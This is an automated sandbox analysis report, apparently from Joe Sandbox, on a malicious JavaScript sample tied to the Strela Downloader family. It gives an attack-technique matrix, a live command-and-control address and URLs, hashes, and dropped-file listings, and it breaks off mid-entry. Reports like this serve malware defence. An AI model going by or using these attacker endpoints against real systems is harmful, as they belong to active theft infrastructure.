Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
998728891275936098.js	3%	ReversingLabs

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2260192801.000001B40BD30000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false	high
http://crl.ver)	svchost.exe, 00000009.00000002.3474088972.000001B40BE00000.00000004.00000020.00020000.00000000.sdmp	false	high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false	high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false	high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2253977459.0000014632DAA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2253977459.0000014632D9E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2253977459.0000014632D78000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2253977459.0000014632DD0000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588249
Start date and time:	2025-01-10 23:05:06 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 57s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	998728891275936098.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@28/55@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 34.237.241.83, 50.16.47.176, 54.224.241.105, 18.213.11.84, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 2.16.168.107, 2.16.168.105, 13.107.246.45, 4.245.163.56, 104.126.112.182
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: 998728891275936098.js

Simulations

Behavior and APIs

Time	Type	Description
17:06:06	API Interceptor	21x Sleep call for process: powershell.exe modified
17:06:10	API Interceptor	1x Sleep call for process: net.exe modified
17:06:11	API Interceptor	2x Sleep call for process: svchost.exe modified
17:06:18	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	25055222211104026628.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31352150452488124098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	137112093815427392.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	16529230753138817875.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1632322273251213172.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2305511452193571644.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	133313712272908537.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1667730710460316051.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	25055222211104026628.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31352150452488124098.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1492619129759821343.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	256361061998227470.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	10965191911914222758.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	241198432146011036.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	137112093815427392.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	16529230753138817875.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1632322273251213172.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32489123841084027785.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263115304326365
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0r:9JZj5MiKNnNhoxuW
MD5:	96052B695933A961A9CEAEC72E2DA7CB
SHA1:	45EEFAD7BA539EC9C615BFE110711E62C44DF3D1
SHA-256:	B2A5E0B1A2CF691D3456BE4CED0CAED1FB13AFFD66844F1159AB2F1744D23D89
SHA-512:	B686094880C2FA3DB2896A65BDC00C5C35242C5E8D596E6E88314B8F4D7BB3FCFB87FD2BFCB00EEE517CDA05732675D3802540D555FAA3A6111FBFB2A95A1E4C
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0xdeaad1be, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.755603218642064
Encrypted:	false
SSDEEP:	1536:tSB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:tazaSvGJzYj2UlmOlOL
MD5:	C9A4DEF72748CAA82AD3A551C4CFAEC0
SHA1:	C831E5F66441B1017517BE325BCE52C09EE05823
SHA-256:	0811E55F8C6EB0C1B0770CF04FEAF7215EB9FBE89C355506EDD78D220D365C7D
SHA-512:	78A3988296A0547DA6643AFDD95C5FCB4D83BE680625514A0AB15F1CB6D0FBBE1D93DE84B2C91A9F9E8DB7C585A7C80251ADB4185DF335F08D453EB87A8BA03D
Malicious:	false
Preview:	..... .......7.......X\...;...{......................0.e......!...{?......}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{....................................=$.....}.....................(.....}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07977865418136751
Encrypted:	false
SSDEEP:	3:Xm/llEYeZeEjgGuNaAPaU1lFyQlll/olluxmO+l/SNxOf:XW8zZeEBuNDPaUtn/lAgmOH
MD5:	D1C3F8BC5FAB8609EE3EA5FB03DF6954
SHA1:	886971C654E197DE469B4AB660C4524B546B7A28
SHA-256:	60076D95412D23DAE20BFB4742A156412D31B0A280AD06AB58E14924726B50B1
SHA-512:	453A61C26D0EC0B923D704BF7AA7EFC27D4894E12CA77EB16EC70D003EBFB56254A1BE8897BBE18ED75247F64B96889DFE8A3860EF4897D5D8E6A2A2927351AE
Malicious:	false
Preview:	.........................................;...{.......}...!...{?..........!...{?..!...{?..g...!...{?....................(.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.138811848663858
Encrypted:	false
SSDEEP:	6:iO4++q2PN72nKuAl9OmbnIFUtSWZmwsSVkwON72nKuAl9OmbjLJ:7OvVaHAahFUth/N5OaHAaSJ
MD5:	39B87C6141663DA552B08A2013674795
SHA1:	6D4D9356400D709B4470C60893D9563A299DCA42
SHA-256:	A42694126AA1C6C3E949A659D0BF528DE078092AC7138BBD1BC54248BB5B576A
SHA-512:	80DA86918C034118022B35694309C53528E651094D5D711BDFBC2DFAFE7A0C398D558E0DD936865C1331F988345E0BF5428FF9BAB890ACD9B0C0C2AA7DA7A5C3
Malicious:	false
Preview:	2025/01/10-17:06:11.318 808 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:06:11.321 808 Recovering log #3.2025/01/10-17:06:11.321 808 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.138811848663858
Encrypted:	false
SSDEEP:	6:iO4++q2PN72nKuAl9OmbnIFUtSWZmwsSVkwON72nKuAl9OmbjLJ:7OvVaHAahFUth/N5OaHAaSJ
MD5:	39B87C6141663DA552B08A2013674795
SHA1:	6D4D9356400D709B4470C60893D9563A299DCA42
SHA-256:	A42694126AA1C6C3E949A659D0BF528DE078092AC7138BBD1BC54248BB5B576A
SHA-512:	80DA86918C034118022B35694309C53528E651094D5D711BDFBC2DFAFE7A0C398D558E0DD936865C1331F988345E0BF5428FF9BAB890ACD9B0C0C2AA7DA7A5C3
Malicious:	false
Preview:	2025/01/10-17:06:11.318 808 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:06:11.321 808 Recovering log #3.2025/01/10-17:06:11.321 808 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.155487377168681
Encrypted:	false
SSDEEP:	6:iO4oIq2PN72nKuAl9Ombzo2jMGIFUtSgXZmwsXhFzkwON72nKuAl9Ombzo2jMmLJ:7rIvVaHAa8uFUtP/MTz5OaHAa8RJ
MD5:	6663C68D44A774222C28E59A656C72AB
SHA1:	117C2CDB56DFB5CB84621AE847FF85A30CFAE42B
SHA-256:	89D3DE4D294D48DF7D62F6ABDFD01D71857804941A189925279E28DA368AF03B
SHA-512:	B097733C2288D238B004080F08F927D8CDCB5A590E7DBDF7E547044795F416BA1C1F7EB6C065D7C6D7205AAB431190FC3738584F87BD50CAB76C4F4545F5C7E8
Malicious:	false
Preview:	2025/01/10-17:06:11.345 dd4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:06:11.352 dd4 Recovering log #3.2025/01/10-17:06:11.353 dd4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.155487377168681
Encrypted:	false
SSDEEP:	6:iO4oIq2PN72nKuAl9Ombzo2jMGIFUtSgXZmwsXhFzkwON72nKuAl9Ombzo2jMmLJ:7rIvVaHAa8uFUtP/MTz5OaHAa8RJ
MD5:	6663C68D44A774222C28E59A656C72AB
SHA1:	117C2CDB56DFB5CB84621AE847FF85A30CFAE42B
SHA-256:	89D3DE4D294D48DF7D62F6ABDFD01D71857804941A189925279E28DA368AF03B
SHA-512:	B097733C2288D238B004080F08F927D8CDCB5A590E7DBDF7E547044795F416BA1C1F7EB6C065D7C6D7205AAB431190FC3738584F87BD50CAB76C4F4545F5C7E8
Malicious:	false
Preview:	2025/01/10-17:06:11.345 dd4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:06:11.352 dd4 Recovering log #3.2025/01/10-17:06:11.353 dd4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.972695042269216
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2H42caq3QYiubcP7E4T3y:Y2sRdsddMH4J3QYhbA7nby
MD5:	D79EA43079AE21B49FEDBAE9A06FB214
SHA1:	F7BB3B3180333D8C8B02292A9B39F9AB03101BB8
SHA-256:	58E2218096574E4CA477852024E3EC7E53B060AA7FA7A27AF0ACA26530863D1E
SHA-512:	7FF564795B8718593A96E872633900D2D87ADADAA0A47BF335BFEDF2A1A257E6A9BF4A32484022961559768560D5766239104A942F86D85B00944D0C6AF0D4FA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381106782052699","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131295},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\b768908f-dc1f-4ba3-912f-711633fad74a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.972695042269216
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqLsBdOg2H42caq3QYiubcP7E4T3y:Y2sRdsddMH4J3QYhbA7nby
MD5:	D79EA43079AE21B49FEDBAE9A06FB214
SHA1:	F7BB3B3180333D8C8B02292A9B39F9AB03101BB8
SHA-256:	58E2218096574E4CA477852024E3EC7E53B060AA7FA7A27AF0ACA26530863D1E
SHA-512:	7FF564795B8718593A96E872633900D2D87ADADAA0A47BF335BFEDF2A1A257E6A9BF4A32484022961559768560D5766239104A942F86D85B00944D0C6AF0D4FA
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381106782052699","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":131295},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.252529652753443
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7Vnn8:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhy
MD5:	925EA5CE7E1F6998BECABD0AA2EF9163
SHA1:	7287806E6708585AC8AFEE81A6EE008932716F8B
SHA-256:	7E3F8F20D764B3B965E896A2F71B88EC3348C113D4C45D578409BBBCE0C3EB3F
SHA-512:	89F219A30E77946B40BC70D5561A920CAD71370E60E7DC16CE44A0F813681C778BE3416FC70623CDB4E930DAFC0B00F96244DD736BB54477AEAB93A9CED18CC9
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.138226543726231
Encrypted:	false
SSDEEP:	6:iO4QYq2PN72nKuAl9OmbzNMxIFUtSQPZmwsQKkwON72nKuAl9OmbzNMFLJ:70vVaHAa8jFUtp/q5OaHAa84J
MD5:	C422337347A312EADB5C637C7F2C1C9D
SHA1:	9C2854B26752728C0282FF9E6CA583C640B37EBA
SHA-256:	7C38143CD42B1603E96382F1B7851B64D9805635473329072C6F607ED5446598
SHA-512:	44F7D01606BABE66FAF79F84186640911A0F8F65AE1ED2774241EA98086A05AEA10FCA270B183BAC04FD42A89F5E43FB0E3322A3C927832854FBBC196A2A5425
Malicious:	false
Preview:	2025/01/10-17:06:11.604 dd4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:06:11.606 dd4 Recovering log #3.2025/01/10-17:06:11.607 dd4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.138226543726231
Encrypted:	false
SSDEEP:	6:iO4QYq2PN72nKuAl9OmbzNMxIFUtSQPZmwsQKkwON72nKuAl9OmbzNMFLJ:70vVaHAa8jFUtp/q5OaHAa84J
MD5:	C422337347A312EADB5C637C7F2C1C9D
SHA1:	9C2854B26752728C0282FF9E6CA583C640B37EBA
SHA-256:	7C38143CD42B1603E96382F1B7851B64D9805635473329072C6F607ED5446598
SHA-512:	44F7D01606BABE66FAF79F84186640911A0F8F65AE1ED2774241EA98086A05AEA10FCA270B183BAC04FD42A89F5E43FB0E3322A3C927832854FBBC196A2A5425
Malicious:	false
Preview:	2025/01/10-17:06:11.604 dd4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:06:11.606 dd4 Recovering log #3.2025/01/10-17:06:11.607 dd4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444467229651915
Encrypted:	false
SSDEEP:	384:ye6ci5tpiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mKs3OazzU89UTTgUL
MD5:	2282185AEFD9341163B4FD40E2E22110
SHA1:	40A8FD46EC1BAA553C325174AA193590492E1242
SHA-256:	EB21BFA8BC0AB598BCBF556E5FE4A0EC27149A8D30DBC256C6174E32A93FA7B6
SHA-512:	87632AA8FA19E5BA840B514C3C8D225186DF005692E5179ED8C02C7755A032D5AAE1FD596DD1CF93630D3CB05ECEA1939C6458855E087D3C17E8DC8B6CCD73E7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.76546258357292
Encrypted:	false
SSDEEP:	48:7MW7JioyVmioyQoy1C7oy16oy1sKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1z:7XJum0nXjBibb9IVXEBodRBkr
MD5:	2CF16D11428AE44B28254A7DF74C7564
SHA1:	002F0AD9C3986F8EC3CE5E878F8AE48B9CBE54CA
SHA-256:	934EE6E4210117FF179FFE8F918934CDF83615460EBF14BE783AC2C38583F8D4
SHA-512:	F1007440D25EC1EB131CF23190860A66AC91E43B1F147311F8F3469B782D60626C4199EFA8EE64605B165280A44D000AAD8AAF1D2C9B7908B7E014EA96AFAB89
Malicious:	false
Preview:	.... .c.......Ll...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.734169656628181
Encrypted:	false
SSDEEP:	3:kkFklo+lW/ltfllXlE/HT8kShvNNX8RolJuRdxLlGB9lQRYwpDdt:kKx+8teT833NMa8RdWBwRd
MD5:	CE9D016D50876901A95B2F300FD0699E
SHA1:	63B4B97ABE1B88F498D21E80FD71E136010536A3
SHA-256:	3D3D3642D4E956742F29028F27D8AEC8EA2DF28097CDEF13A2AB7697F7D75D53
SHA-512:	8650435649E28A1FAED0227C68B37110C10008119DE819FACDEB2D7300C97C3222A5759031C369377C61C3EB2637D86350FB3E16C43655C50C91B3E9CF4946D4
Malicious:	false
Preview:	p...... ............c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
